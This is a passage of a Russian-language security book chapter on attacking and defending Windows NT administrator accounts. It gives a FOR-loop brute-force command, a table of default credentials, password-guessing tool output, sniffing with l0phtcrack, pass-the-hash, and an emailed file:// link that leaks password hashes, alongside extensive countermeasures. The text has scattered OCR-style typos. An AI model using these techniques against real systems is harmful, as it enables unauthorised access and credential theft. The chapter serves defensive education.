Administrator: в поисках сокровищ
Правило № 1, о котором нельзя никогда забывать при обеспечении безопасности Windows NT, состоит в том, что любой нарушитель абсолютно беспомощен, если он не
обладает нравами администратора. Как мы увидим из дальнейшего обсуждения. NT не поддерживает (по умолчанию) удаленного выполнения команд, а если и позволяет это делать, то интерактивно зарегистрироваться могут лишь пользователи из группы администраторов. Это существенно сужает возможности удаленных пользователей по нанесению ущерба. Поэтому взломщики, как голодные акулы, рыщущие в океанской пучине в поисках жертвы, прилагают все усилия, чтобы выявить учетные записи пользователей, обладающих правами администратора. Именно поэтому мы начнем с рассмотрения деталей основного механизма получения привилегий администратора — подбора пароля.
Что, несколько неожиданно? Вы думали, что мы вам расскажем о каком-то чудесном способе, с помощью которого вы моментально поставите NT "на колени"? Хотя существование такой "серебряной пули" теоретически возможно, ее все еще никто не нашел за все гады существования операционной системы NT. Некоторые из возможных подходов
будут рассмотрены в конце раздела. Однако, к сожалению, вынуждены вас огорчить — в том, что касается безопасности, справедливо древнее утверждение: "Чем больше веши меняются, тем больше они остаются неизменными". Другими словами, прежде, чем защищаться от каких-либо экзотических методов проникновения, необходимо с помощью правильно выбранного пароля как можно лучше защитить учетную запись
Administrator.
Удаленный подбор пароля
Если на удаленном компьютере запушена служба NetBIOS, с которой связан TCP-порт 139, то самым эффективным методом проникновения в систему NT является удаленное подключение к выявленному ранее совместно используемому ресурсу и подбор пар регистрационное имя/пароль до тех пор, пока одна из них не окажется правильной.
Конечно, для того чтобы процесс подбора пароля оказался по-настоящему эффективным, необходимо наличие списка пользовательских имен. Ранее уже были рассмотрены некоторые из лучших методов поиска учетных записей пользователей, включая анонимное подключение с помощью команды net use, которая
устанавливает нулевое соединение с исследуемым узлом. Для этих же целей можно воспользоваться также утилитой DumpACL/DumpSec от компании Somarsoft Inc., а также утилитами sid2u=er/usar2sid Евгения Рудного (Evgenii Rudnyi). Все эти средства обсуждались в главе 3. Обнаружив реально существующие учетные записи, можно существенно повысить вероятность успешного подбора пароля.
Найти совместно используемый ресурс, который подходит для нападения, обычно не составляет никакого труда. Из главы 3 вы узнали, что в системах, в которых TCP-порт 139 доступен для удаленного доступа, всегда присутствует скрытый совместно используемый ресурс IFCS, необходимый для взаимодействия процессов. Кроме того, в процессе подбора пароля практически всегда можно воспользоваться административными ресурсами ADMIN$ и [%раздел-диска%]$ (например,
С$). Естественно, можно также провести инвентаризацию совместно используемых ресурсов, как описывалось в главе 3.
Имея под рукой все необходимые данные, нарушитель, находящийся в сети предприятия, может просто открыть окно Network Neighborhood (если с целевым компьютером NT имеется физическое соединение) или же воспользоваться средством поиска Find Computer и IP-адресом для поиска компьютера, находящегося во внешней сети, а потом щелкнуть дважды на пиктограмме найденного компьютера, как показано на приведенных ниже иллюстрациях.
Подбор пароля можно также выполнить из командной строки с помощью команды net use. Если вместо пароля в качестве ее параметра указать символ *, то удаленный компьютер попросит ввести пароль, как показано в следующем примере.
С:\> net use \\192.168.202.44\IPC$ * /user:Administrator
Type the password for \\192.168.202.44\IPC$:
The command completed successfully.
Учетная запись, заданная с помощью ключа /и:, выглядит несколько странно. Напомним, что в NT/2000 учетные записи идентифицируются с использованием идентификаторов защиты SID, состоящих из кортежей компьютер\учетная запись или домен\учетная запись. Если зарегистрироваться в качестве администратора не удалось, попробуйте воспользоваться синтаксисом домен\учетная запись.
Взломщики, как правило, пытаются подбирать пароли для ставших им известными локальных учетных записей отдельных компьютеров с NT Server или Workstation, а не для глобальных учетных записей, позволяющих получить доступ к контроллеру домена NT. В этом нет ничего удивительного, поскольку очень высока вероятность того, что локальные учетные записи контролируются не так строго, как на уровне всей организации (в этом случае все попытки подбора пароля могут также регистрироваться на контроллере домена). Кроме того, система NT Workstation позволяет любому пользователю регистрироваться в сети после регистрации на самом компьютере (т.е. пользователь Everyone может начать сеанс работы, не входя в сеть (Log on locally), а затем при необходимости подключиться к сети), что значительно упрощает удаленное выполнение команд.
Конечно, если взломать учетные записи Administrator или Domain Admins главного контроллера домена (РОС — Primary Domain Controller), то в вашем распоряжении окажется весь домен (и все домены, с которыми установлены доверительные отношения). Как правило, стоит выполнить идентификацию контроллера PDS, начать автоматический подбор паролей с помощью "мягких" методов (т.е. позволяющих избежать блокировки учетных записей), а затем сразу же приступить к сканированию всего домена с целью выявления незащищенных жертв (т.е. компьютеров с пустым паролем администратора).
Если вы собираетесь использовать описываемые приемы для проверки компьютеров в сети вашей компании (конечно, с ведома начальства), не забывайте о блокировании учетных записей, которое может произойти при попытках как ручного, так и автоматизированного подбора паролей. В результате можно настроить против себя не только пользователей всей компании, которые не смогут в течение определенного времени получить доступ к своим компьютерам, но и руководство, которое вряд ли после такого инцидента будет поощрять ваши инициативы в области безопасности.
Метод подбора наиболее эффективен для выявления паролей, заданных с ошибками, характерными для большинства пользователей. К таким ошибкам можно отнести следующие.
- Пользователи всегда стремятся выбрать как можно более простой пароль, в том числе, если это возможно, предпочитают вообще обходится без пароля. По существу, наибольшей брешью в любой сети является пустой или просто подбираемый пароль. Поэтому во время проверки системы безопасности на это нужно обращать самое пристальное внимание.
- При выборе пароля пользователи хотят, чтобы его легко было запомнить, и используют для этого пользовательское имя, свое имя или же очевидные строки вида "имя_пользователя", "' имя_компании", "guest", "test", "admin" или "password". Поля комментариев (которые можно увидеть с помощью такого утилиты инвентаризации, DumpACL/DumpSec) учетной записи — это тоже хорошо известное место, в котором можно найти подсказки о пароле и даже сами пароли.
- Многие популярные программы функционируют в контексте специальной пользовательской учетной записи. Как правило, имена этих учетных записей широко известны и, что еще хуже, обычно они легко запоминаются. Идентификация подобных широко известных учетных записей во время инвентаризации может предоставить взломщику очень серьезный козырь, значительно облегчающий его задачу при подборе пароля.
Некоторые примеры стандартных пар "имя пользователя/пароль" представлены в табл. 5.1. Мы называем такие пары наиболее вероятными комбинациями. Кроме того, достаточно большой список паролей, используемых по умолчанию, можно найти по адресу
http://www.securityparadigm.соm/defaultpw.htm.
Таблица 5.1. Наиболee вероятные комбинации "имя пользователя/пароль"
Имя пользователя
|
Пароль
|
administrator
|
пустой, password, administrator
|
arcserve
|
arcserve, backup
|
test
|
test, password
|
lab
|
lab, password
|
имя-пользователя
|
имя-пользователя, имя-компании
|
backup
|
backup
|
tivoli
|
tivoli
|
symbiator
|
symbiator, as400
|
backupexec
|
backup
|
Хорошо продуманная стратегия подбора паролей, учитывающая все приведенные выше рекомендации, дает на удивление высокий процент успеха. Однако техника, которая хороша для хакера, подбирающего пароль ради развлечения, вряд ли заинтересует вечно занятого администратора сети, у которого и так хватает забот, чтобы заниматься ручным подбором паролей с целью контроля.
Автоматизированный подбор паролей очень легко выполнить, реализовав единственный цикл FOR с использованием стандартной команды NET USE системы NT. Во-первых, создайте файл с именами пользователей и паролями на основе наиболее вероятных комбинаций, приведенных в табл. 5.1 (или воспользовавшись собственным перечнем). Такой файл может иметь примерно следующий вид (для разделения значений могут использоваться любые символы-разделители; в данном случае — символы табуляции). Обратите внимание, что пустые пароли в правом столбце не указаны.
[file: credentials.txt]
password username
password Administrator
admin Administrator
administrator Administrator
secret Administrator
и т.д. . . .
Теперь этот файл можно подать на вход команде FOR следующим образом:
C:\>FOR /F "tokens=l,2*" %i in(credentials.txt)do net use
\\target\\IPC$ %i /u:%j
Эта команда построчно анализирует файл credentials. txt, выбирает первые две лексемы из каждой строки, а затем использует первую из них в качестве переменной «i (пароль), а вторую — как переменную
%i (имя пользователя) при установке соединения с помощью команды net use с совместно используемым ресурсом
IРС$ целевого компьютера. Для получения более подробной информации о команде FOR введите в командной проке FOR /?. Эта команда для хакеров NT является одной из наиболее полезных.
Конечно, имеется много специализированных программ, которые позволяют автоматизировать процессе подбора пароля. В главах 3 и 4 мы уже упоминали программы Legion и NAT (NetBIOS Auditing Tool), которые позволяют автоматизировать процесс подбора пароля. Утилита Legion может не только выполнять сканирование диапазона IP-адресов класса С и выявлять совместно используемые ресурсы. Windows, но и обладает возможностью подбора пароля по заданному словарю.
Программа NAT предоставляет аналогичные возможности, но позволяет одновременно работать с одним компьютером. Однако, поскольку эта утилита запускается из командной строки, ее использование очень легко автоматизировать. В сценарии или командном файле утилита NAT должна подключаться к очередному узду, а затем подбирать пароль как из предопределенного перечня паролей, так и из списка, подготовленного пользователем. Одним из недостатков NAT является то, что как только эта
угилита обнаруживает пароль, соответствующий какой-то из учетных записей, она тут же использует эту пару для подключения. Тем самым остальные возможные пароли других учетных записей остаются неизвестными. Ниже приведен пример простого
цикла FOR, с помощью которого организуется перебор всех компьютеров сети класса С (Для краткости листинг был отредактирован).
D:\>FOR /L %i IN (1,1,254) DO nat -u userlist.txt -p passlist.txt
"92.163.202.»! » nat_output.txt
[*]--- Checking host: 192.168.202.1
[*]--- Obtaining list of remote NetBIOS names
[*]--- Attempting to connect with Username: 'ADMINISTRATOR'Password:
'ADMINISTRATOR'
[*]--- Attempting to connect with Username: 'ADMINISTRATOR'Password:
'GUEST'
...
[*]--- CONNECTED: Username: 'ADMINISTRATOR' Password:
'PASSWORD'
[*]--- Attempting to access share: \\*SMBSERVER\TEMP
[*]-—- WARNING: Able to access share: \\*SM3SERVER\TEMP
[*]--- Checking write access in: \\*SMBSERVER\TEMP
[*]--- WARNING: Directory is writeable: \\*SM3SERVER\TEMP
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\TEMP
Еще одним хорошим инструментом обнаружения паролей является утилита NTInfoScan (NT'S) Дэвида Литчфилда (David Litchfield), который известен также под псевдонимом Mnemonix. Эту утилиту можно найти по адресу
http://packetstorm.stcurify.com/NT/audit/. NTIS — это простая утилита командной строки, которая выполняет проверку по протоколам Internet и NetBIOS, а результат выводит в файл HTML-формат.
Она также осуществляет все необходимые операции по инвентаризации пользователи ;г в конце отчета помещает учетные записи с пустым паролем. В настоящее время утилита
NTFS обновлена и распространяется новой компанией Дэвида, Cerberus Information Security. Теперь эта утилита называется Cerberus Internet Scanner (CIS) и снабжена графическим интерфейсом.
Все упомянутые выше утилиты распространяются бесплатно и, в общем, прекрасно справляются с возложенной на них задачей. Если же вам нужны дополнительные возможности, предоставляемые коммерческими пакетами, рекомендуем обратить внимание на пакет CyberCop Scanner от компании Network Associates Inc. (NAI). в состав которого входит утилита SMBGrind. Эта утилита отличается поразительной скоростью работы, поскольку она одновременно запускает сразу несколько процессов подбора пароля. Во всем остальном она практически не отличается от утилиты NAT. Ниже приведен пример результатов работы утилиты SMBGrind. Параметр -1 определяет количество одновременных соединений, т.е. количество параллельно запускаемых процессов.
D:\> smbgrind -I 100 -i 192.168.2.5
Host address: 192.168.2.5
Cracking host 192.168.2.5 (*SMBSERVER)
Parallel Grinders: 100
Percent complete: 0
Percent complete: 25
Percent complete: 50
Percent complete: 75
Percent complete: 99
Guessed: testuser Password: testuser
Percent complete: 100
Grinding, complete, guessed 1 accounts
Контрмеры: защита от подбора пароля
Существует несколько защитных мер, которые могут сделать невозможными или. по крайней мере, затруднить попытки подбора пароля. Первая из них поможет в тех случаях, когда компьютер с системой NT. непосредственно подключенный к Internet, не должен отвечать на запросы о совместно используемых ресурсах Windows. Для этого нужно заблокировать доступ к портам TCP и UDP с номерами 135-139 на пограничном брандмауэре или маршрутизаторе, а также запретить привязку WINS Client (TCP/IP) для любого адаптера, подключенного к внешней сети, как показано на приведенной ниже иллюстрации.
Это позволит запретить использование портов NetBIOS соответствующим сетевым адаптером. Для узлов с двумя сетевыми адаптерами (dual-homed host) необходимо запретить поддержку протокола NetBIOS на адаптере, подключенном к Internet, и оставить ее на сетевом адаптере внутренней сети. чтобы к совместным ресурсам Windows могли обращаться легальные пользователи. (При отключении поддержки NetBIOS с использованием этого метода, внешний порт остается в режиме ожидания, однако он не будет отвечать на запросы.)
В системе Windows 2000 для запрещения использования протокола NetBIOS
поверх TCP/IP для каждого адаптера в отдельности можно использовать спе.{и-:;ль ный пользовательский интерфейс. Однако, как вы увидите из главы 6, такая возможность вовсе не является панацеей, и отключение адаптеров от совместно используемых файлов и принтеров является гораздо лучшим способом.
Если ваши компьютеры с системой NT выполняют роль файловых серверов и, как следствие, должны обеспечивать возможность подключения, данных мер, естественно, будет недостаточно, поскольку они будут блокировать или даже запрещать все подобные службы. В таких случаях необходимо применять более традиционные меры: блокировать учетные записи после определенного количества неудачных попыток регистрации, реализовать политику строгого выбора паролей, а также регистрировать все неудачные попытки регистрации. К счастью, для выполнения этих задач компания Microsoft предоставляет все необходимые средства.
Политика учетных записей
Одним из таких средств является утилита User Manager. Для задания политики учетных записей выберите в диалоговом окне диспетчера пользователей команду
Policies>Account. В появившемся диалоговом окне можно задать определенную политику назначения паролей, например установить ограничение на минимальную длину пароля или потребовать, чтобы пароли не повторялись чаще определенного количества раз. Кроме того, в диалоговом окне Account Policy можно установить блокировку соответствующей учетной записи после заданного количества неудачных попыток регистрации. Диспетчер пользователей также позволяет администраторам принудительно отключать пользователей после завершения установленной длительности сеанса. Это очень удобная возможность, позволяющая "перекрыть кислород" непрошеным ночным гостям.
Подчеркнем еще раз, что каждый, кто намеревается попробовать "на прочность" пароли как с помощью описанных в данной главе методов ручного, так и автоматического подбора, должен помнить о возможностях блокировки учетных записей.
Passfilt
Еще больший уровень защиты можно обеспечить с помощью динамически подключаемой библиотеки Passfilt, входящей в состав Service Pack 2. Для того чтобы она была подключена к системе защиты, необходимо проделать процедуру, описанную в статье Q161990 базы знаний Microsoft Knowledge Base. Данная библиотека позволяет поддерживать жесткую политику выбора паролей, которая гарантирует защиту не только от взлома, но и от ленивого пользователя, выбирающего слишком простой пароль. После установки библиотеки Passfilt все пароли должны состоять не менее чем из шести символов, не могут совпадать с именами учетных записей или быть частью
полного имени пользователя, а также должны состоять из символов, которые выбираются как минимум из трех следующих групп.
- Буквы английского алфавита в верхнем регистре (А, в, с, ...,
Z)
- Буквы английского алфавита в нижнем регистре (а,
b, с, ..., z)
- Арабские цифры (0, 1, 2, ..., 9)
- Символы, не являющиеся алфавитно-цифровыми (@,
#, !, & и т.д.)
Библиотека Passfilt должна быть под рукой у каждого серьезного администратора NT, однако нужно отметить два ее ограничения. Первое состоит в жесткой установке минимальной длины пароля в 6 символов. Мы рекомендуем наложить более строгое ограничение в 7 символов в диалоговом окне Account Policy диспетчера пользователей. (Почему так важна разница в один символ, вы узнаете ниже при рассмотрении процесса взлома пароля NT.) Во-вторых, библиотека Passfilt вызывается лишь в том случае, когда решение об изменении пароля принимает сам пользователь. Если же пароль меняется администратором с помощью диспетчера пользователей, то выполнение требований Passfilt не гарантируется (см. статью Q174075). Для того чтобы обеспечить более строгое следование принятой политике учетных записей, можно разработать свою собственную библиотеку Passfilt. Учтите, что при таком подходе в качестве библиотеки Passfilt можно легко "получить в подарок" "троянского коня". Так что при выборе библиотек от сторонних производителей будьте очень внимательны.
Библиотека Passfilt в системе Win 2000 устанавливается по умолчанию, однако остается неактивной. Для того чтобы ее активизировать, воспользуйтесь консолью
secpol.msc или gpedit.msc и активизируйте режим Passwords must meet complexity requirements, относящийся к элементу консоли Security Configuration and Analysis\Account Policies\Password Policy.
Passprop
Еще одним важным дополнительным средством, которое входит в состав NT Resource Kit (NTRK) является утилита Passprop, которая позволяет применить к учетным записям домена NT два следующих требования.
- Пароли, выбираемые пользователями, должны обязательно содержать алфавитные символы как в верхнем, так и в нижнем регистрах или же состоять из символов и цифр.
- Второе требование касается учетной записи Administrator. Как мы уже говорили, эта учетная запись является наилучшим трофеем удачливого взломщика, представляющим собой серьезную опасность для безопасности. К сожалению, исходную встроенную учетную запись Administrator (RID 500) в системе NT заблокировать нельзя, что позволяет взломщикам легко ее идентифицировать и бесконечно долго пытаться подобрать к ней пароль. Утилита Passprop удаляет используемые по умолчанию ограничения NT на блокировку учетной записи администратора. (Учетную запись Administrator можно всегда разблокировать с локальной консоли сервера, что предотвращает попытки спровоцировать состояние DoS.)
Для того чтобы наложить на систему безопасности оба требования, необходимо установить пакет NTRK (или просто скопировать файл passprop.exe, если установка всего пакета NTRK связана с вопросами защиты) и ввести следующую команду в командной строке:
passprop /complex /adminlockout
Для того чтобы вернуть систему в исходное состояние, необходимо запустить утилиту с параметром /noadminlockout.
Аудит и регистрация событий
Даже если никому и не удастся проникнуть в вашу сеть с помощью подбора пароля, так как вы установили библиотеку Passfilt или воспользовались утилитой Passprop, все равно имеет смысл отслеживать все неудачные попытки регистрации. Для этого выберите команду
Policies>Audit в диалоговом окне диспетчера пользователей. При этом на экране появится диалоговое окно Audit Policy, представленное ниже.
Журнал безопасности (Security Log), заполненный событиями с идентификаторами 529 или 539
(Logon/Logoff failure и Account Locked Out соответственно), свидетельствует о том, что система подвергается попытке автоматизированного взлома. В большинстве случае журнал позволяет даже установить компьютер, с которого производятся попытки взлома. На рис. 5.1 показано содержимое журнала безопасности после многочисленных неудачных попыток регистрации, предпринятых с помощью утилиты NAT.
Вот подробные сведения о событии с идентификатором 539.
Естественно, регистрация событий ничего не стоит, если не выполняется анализ журналов. Анализировать журналы вручную очень утомительно. К счастью, утилита Event Viewer позволяет фильтровать записи о событиях по дате, типу, источнику, категории, пользователю, компьютеру и идентификатору события.
Рис. 5.1. Журнал безопасности с зарегистрированными неудачными попытками регистрации в сети, выполнявшимися с использованием утилиты NAT
Если для управления журналами и их анализа вам требуется надежная утилита командной строки, позволяющая автоматизировать ее использование, обратите внимание на утилиту dumpel из пакета NTRK, NTLast компании NTObjectives (по адресу
http://www.ntobjectives.com можно найти как бесплатно распространяемую, так и коммерческую версию) или DumpEvt от компании Somarsoft (бесплатную версию утилиты можно найти по адресу
http://www.somarsoft.com).
Утилита dumpel может обрабатывать журнал событий с удаленного сервера (при наличии соответствующих разрешений) и отфильтровывать до десяти идентификаторов событий одновременно. Например, с помощью dumpel можно извлечь неудачные попытки регистрации на локальном компьютере (событие 529). Для этого в командной строке нужно ввести следующую команду.
С:\> dumpel -е 529 -f seclog.txt -1 security -m Security -t
Утилита DumpEvt позволяет преобразовать весь журнал безопасности в формат, пригодный для импорта в базу данных Access или SQL. Однако эта утилита не предоставляет средств фильтрации событий.
NTLast — это утилита командной строки Win32, которая выполняет поиск в локальных и удаленных журналах записей об интерактивных (interactive), удаленных (remote) и неудачных (fail) попытках регистрации. Кроме того, с ее помощью можно найти соответствующие друг другу пары событий регистрации/завершения сеанса (logon/logoff) для заданной учетной записи. Коммерческая версия утилиты NTLast позволяет также извлекать записи о неудачных попытках использования пароля для получения доступа к серверу IIS.
Выявление вторжений в реальном времени
После применения средств анализа журналов следующим этапом является реализация механизма оповещения о возможных нарушениях в реальном времени. Количество программных продуктов из так называемой категории систем выявления вторжений быстро возрастает, особенно для использования на платформе NT. Системы выявления вторжений, предназначенные для использования на компьютерах под управлением системы NT, представлены в табл. 5.2.
Функциональные возможности этих продуктов варьируются в широком диапазоне, от простых средств анализа журналов, генерации оповещений (KSM) и мониторинга попыток взлома на уровне сетевого протокола (RealSecure) до полноценных систем выявления вторжений на уровне узла (Centrax). Так что при выборе той или иной системы внимательно ознакомьтесь с перечнем ее возможностей и выясните, сможет ли она решать возлагаемые на нее задачи.
Таблица 5.2. Некоторые системы выявления вторжений для систем
NT/2000
Система выявления вторжений
|
Разработчик
|
BlackICE Pro
|
Network ICE Corp.
http://www.netice.com/
|
Centrax
|
Cybersafe Corp.
http://www.cybersafe.com/
|
CyberCop Server
|
Network Associates, Inc.
http://www.nai.com/
|
Desktop Sentry
|
NTObjectives
http://www.nt objectives.com
|
Intact
|
Pedestal Software
http: //www.pedestalsoftware.com/
|
Intruder Alert (ITA)
|
AXENT Technologies, Inc.
http://www.axent.com
|
Kane Security Monitor (KSM)
|
Security Dynamics Technologies Inc.
http://www.securitydynamics.com/
|
RealSecure
|
Internet Security Systems
http://www.iss.net
|
SeNTry
|
Mission Critical
http://www.miss ioncritical.com
|
SessionWall-3
|
Computer Associates/Platinum Technology
http://www.platinum.com/
|
Tripwire for NT
|
Tripwire, Inc.
http://www.tripwiresecurity.com/
|
К сожалению, обсуждение вопросов, связанных с выявлением вторжений, выходит за рамки данной кн7иги. Можем лишь подчеркнуть, что администраторы сети, обеспокоенные вопросами обеспечения безопасности, должны уделять этой технологии самое пристальное внимание — что может быть важнее, чем вовремя поступивший сигнал о возникшей в сети проблеме? Более подробная информация о выявлении вторжений, в том числе и сравнительные характеристики лучших программных продуктов этой категории, в настоящее время содержится в статье
http://www.infoworld.com/cgi-bin/displayTC.pl7980504comp.htm.
Подбор пароля — это нелегкая задача. Почему бы просто не перехватить ценную информацию при регистрации пользователей на сервере, а затем использовать ее по своему усмотрению? В тех редких случаях, когда взломщику удается перехватить обмен регистрационными данными, такой подход позволяет сэкономить значительную часть усилий, которые требуются в процессе подбора пароля. Для этого подойдут
многие из уже рассмотренных утилит, однако можно воспользоваться и другим средством, специально предназначенным для этих целей. С такой утилитой вы уже хорошо знакомы:
l0phtcrack, которую можно найти по адресу http:
//www.10pht.com.
Перехват паролей, передаваемых по сети
Утилита l0phtcrack предназначена для подбора паролей NT, которая обычно используется для автономного взлома перехваченной базы данных паролей, т.е. без соединения с сервером. Такой подход позволяет, во-первых, не беспокоиться о возможной блокировке учетных записей при попытках подбора пароля, а во-вторых, организовать перебор сколь угодно большого количества вариантов. Получение файла паролей
- довольно нетривиальная задача, поэтому этот вопрос, а также методы использования утилиты
l0phtcrack более подробно будут рассмотрены в разделе "Взлом Паролей Nt".
В последних версиях l0phtcrack имеется функция SMB Packet Capture, которая ранее была реализована в виде отдельной утилиты readsmb. С использованием этой функции можно обойтись без перехвата файла паролей, а вместо этого прослушать локальный сегмент сети, перехватить запросы на регистрацию, которыми обмениваются системы NT, а затем выбрать из них информацию о зашифрованных паролях. Затем выполняется алгоритм расшифровки, обратный тому, который используется при шифровании паролей в системе NT (этот процесс и называется взломом — cracking). На рис. 5.2 показан пример использования функции SMP Packet Capture для перехвата пересылаемых по сети паролей для их последующего взлома самой утилитой
l0phtcrack.
Некоторые читатели могут удивленно воскликнуть: ''Подождите. Разве в NT не реализован принцип аутентификации по запросу?" Это действительно так. В процессе аутентификации клиенты получают случайный запрос от сервера, который кодируется с помощью хэш-кода пароля пользователя в качестве ключа и в зашифрованном виде передается назад по сети. Затем сервер зашифровывает запрос с помощью своей собственной копии хэш-кода пароля пользователя (взятой из SAM-файла) и сравнивает его с полученным значением. Если значения совпадают, то процесс регистрации завершается успешно (более подробная информация о процессе аутентификации содержится в разделе Q102716 базы знаний). Значит, сам хэш-код пароля даже не передается по сети. Возникает вопрос: как в таком случае утилита
l0phtcrack может его взломать?
Очень просто, путем подбора в лоб. Из заголовка пакета утилита
l0phtcrack получает только сам запрос и запрос, закодированный с помощью хэш-кода пароля. Затем выполняется кодирование известного значения запроса с помощью случайно генерируемых строк и результат сравнивается с полученным зашифрованным значением запроса. Эта процедура повторяется до тех пор, пока не будет
найдена случайная строка, для которой результаты окажутся идентичными. Из-за несовершенства алгоритма вычисления хэш-кода LM (на самом деле этот хэш-код состоит из трех фрагментов, которые можно атаковать независимо друг от друга), процесс подбора занимает гораздо меньше времени, чем кажется на первый взгляд. Более подробная информация об этом содержится по адресу
http: //www.10pht.com/10phtcrack/rant .html.
Эффективность утилиты l0phtcrack при ее совместном использовании с функцией SMP Packet Capture настолько высока, что любой, кто не пожалеет времени для наблюдения за сетью, гарантированно сможет получить статус администратора в течение нескольких дней. Вы замечаете, как неумолимо бежит время?
Даже если вы считаете, что вашу сеть защитит коммутируемая архитектура, не торопитесь с выводами. Например, взломщик может воспользоваться одним из методов социальной инженерии, описание которого можно найти в ответах на часто задаваемые вопросы (FAQ — Frequently Asked Questions) по использованию утилиты
l0phtcrack (http://www.l0pht.com/l0phtcrack/faq.html).
Рис. 5.2. Функция SMP Packet Capture утилиты lOphtcrack позволяет перехватывать пересылаемые по сети NT запросы на регистрацию для их последующего взлома с помощью lOphtcrack. В данном примере видно несколько систем, у которых значение NT Hash представлено нулями. Это означает, что данные системы работают под управ-,- лением Win 9x, которая не поддерживает алгоритма хэширования NT
"Отправьте выбранной жертве почтовое сообщение (неважно, на личный адрес или же на общий адрес компании). В текст письма включите адрес URL в форме
file:////ваш_компьютер/имя_совместно_ используемого_ресурса/сообщение.html. Как только получатель щелкнет на этом URL, его хэшированный пароль сразу же будет отправлен вам для аутентификации."
При знакомстве с технологиями, подобными протоколу ARP (см. главу 10), вы увидите, что коммутируемые сети на самом деле не обеспечивают надежную защиту против перехвата паролей.
Мастаки из LOpht даже умудрились смастерить утилиту, которая выуживает хэши-рованные пароли NT из потока данных, которыми обмениваются компьютеры при регистрации с использованием протокола РРТР (Point-to-Point Tunneling Protocol). В системе NT адаптированный вариант РРТР используется для организации частных виртуальных сетей (VPN — Virtual Private Network). Эта технология позволяет организовывать туннелирование потока данных для передачи информации по Internet с гарантированной защитой. По адресу
http://www.l0pht.com/10phtcrack/donwload.html можно найти два анализатора сетевых пакетов: одна программа предназначена для работы в системе Solaris 2.4+ (написана
L0pht), а вторая (ее автор — модератор бюллетеня Bugtrag, хакер Aleph One (Алеф Ван)) — в любой сети UNIX, в которой имеется библиотека перехвата пакетов libpcap. Кроме того, на этой же Web-странице имеется версия программы readsmb для UNIX, написанная Йоше Чангом (Jose Chung) из компании Basement Research.
Если каким-то образом вам удалось завладеть пользовательским хэш-кодом (скажем, в результате перехвата пакетов SMB или копирования базы данных SAM системы NT), то почему бы не передать этот хэш-код прямо в операционную систему клиента, которая, в свою очередь, сможет использовать его при ответе на запрос в процессе аутентификации. Таким образом взломщик может пройти процедуру регистрации на сервере даже без знания пароля в явной форме, а лишь обладая нужным хэш-кодом и именем пользователя. Такой подход позволяет сэкономить много времени и сил, затрачиваемых на извлечение хэш-кода с помощью перехвата SMB-пакетов.
Передача хэш-кода
Пол Эштон (Paul Ashton) выдвинул идею модификации SMB-клиента сервера Samba системы UNIX, обеспечивающего совместный доступ к файлам
(http://www.saniba.org) с целью реализации описанного выше приема. Исходный документ Пола можно найти в архивах бюллетеня NT Bugtraq по адресу
http://www.ntbugtraq.com. Новые версии программы smbclient для системы UNIX позволяют зарегистрироваться на клиентских системах NT с использованием лишь хэш-кода.
Технические подробности процесса передачи хэш-кода содержатся в статье Гернана Очоа (Heman Ochoa) из компании CORE-SDI. Из этой статьи можно узнать, как подсистема LSASS (Local Security Authority Subsystem) хранит информацию о сеансах регистрации и связанных с ними данными учетных записей. Гернан показал, как напрямую отредактировать эти данные в оперативной памяти и изменить регистрационную информацию незаметно для пользователя. Подтверждением работоспособности такого подхода может послужить рис. 5.3 (для обеспечения безопасности реальные имена были изменены).
Однако подобные подходы не получили широкого распространения, поскольку справиться с данной задачей могут лишь программисты довольно высокой квалификации. Таким образом, риск атаки, основанной на отправке хэш-кода, невысок.
Рис. 5.3. Программа, предназначенная для отправки хэш-кода
Контрмеры: запрещение аутентификации в локальной сети
В сервисном пакете Service Pack 4.0 была добавлена поддержка нового параметра системного реестра, призванного запретить узлу NT выполнять аутентификацию в локальной сети (с использованием хэш-кодов LM). Для того чтобы воспользоваться этой возможностью, нужно добавить параметр LMCompatibilityLevel со значением REG_DWCRD=4 к следующему ключу системного реестра. HKEY_LOCAL_MACHINE\System\CurrentControlSet\LSA
Значение 4 запрещает контроллеру домена (DC — domain controller) принимать запросы на аутентификацию. Как объясняется в статье Q147706 базы знаний компании Microsoft, значения 4 и 5 зарезервированы для контроллеров доменов.
К сожалению, любые клиенты низкого уровня не смогут пройти аутентификацию на контроллере домена, на котором установлен пакет Service Pack 4 и выполнены описанные выше действия (например, такими клиентами являются системы Windows 9x, Windows for Workgroups). Это объясняется тем, что модернизированная система аутентификации такого контроллера будет выполнять аутентификацию лишь с использованием кэш-кода NT. Более того, поскольку клиенты, не использующие систему Windows NT, не могут реализовать вычисление хэш-кода NT, они все равно будут отправлять по сети запросы на аутентификацию, содержащие значения хэш-кодов LM. Это сведет на нет все усилия, напрашгенные на защиту от перехвата SMB-пакетов. Вывод напрашивается сам собой: в составе домена не должно быть клиентских компьютеров, работающих под управлением старых версий Windows. Однако в большинстве компаний, использующих в сети системы с различными версиями Windows, такое решение вряд ли можно воплотить в жизнь.
До появления сервисного пакета SP4 не было возможности запретить обработку хэш-кодов LМ на узле NT, используемых для аутентификации. Как следствие, такие узлы абсолютно не защищены от опасности перехвата SMB-пакетов.
С выходом новой операционной системы Win 2000 компания Microsoft предоставила другую возможность передачи регистрационных данных по локальной сети клиентами Win Эх. Ее предоставляет клиент службы каталогов (DSClient — Directory Services Client), который можно найти на установочном компакт-диске системы Windows 2000 в папке Clients\win9x (файл Dsclient.exe). Теоретически пользователи Win 9x могут установить специальные параметры системного реестра и использовать более надежную защиту благодаря использованию хэш-кодов NT. В статье Q239869 описывается, как установить программу DSClient и настроить клиентов Win 9л: для использования протокола идентификации NTLM версии 2.
Использование подписи SМВ
Хотя полностью защититься от атак с использованием хэш-кодов нельзя, можно наложить некоторые ограничения на удаленную регистрацию в системе Windows с помощью подписи SMB (SMB signing). Такая возможность появится в системе NT, если на ней установить сервисный пакет SP3 или более поздний. Здесь мы упоминаем этот механизм исключительно для обеспечения полноты изложения. При использовании подписи SMB каждый пакет 8MB, передаваемый правильно настроенными клиентами и серверами NT, будет проверяться с применением криптографических методов. Это позволит предотвратить вставку в поток данных регистрации пакетов взломщика. Как и ранее, это решение годится только для Windows NT, так как клиенты Win 9x не поддерживают описанный выше механизм. Кроме того, как отмечается в статье Q161372 базы знаний Microsoft, посвященной режиму использования подписи SMB, активизация этого средства влечет за собой снижение производительности на 10-15 %.
|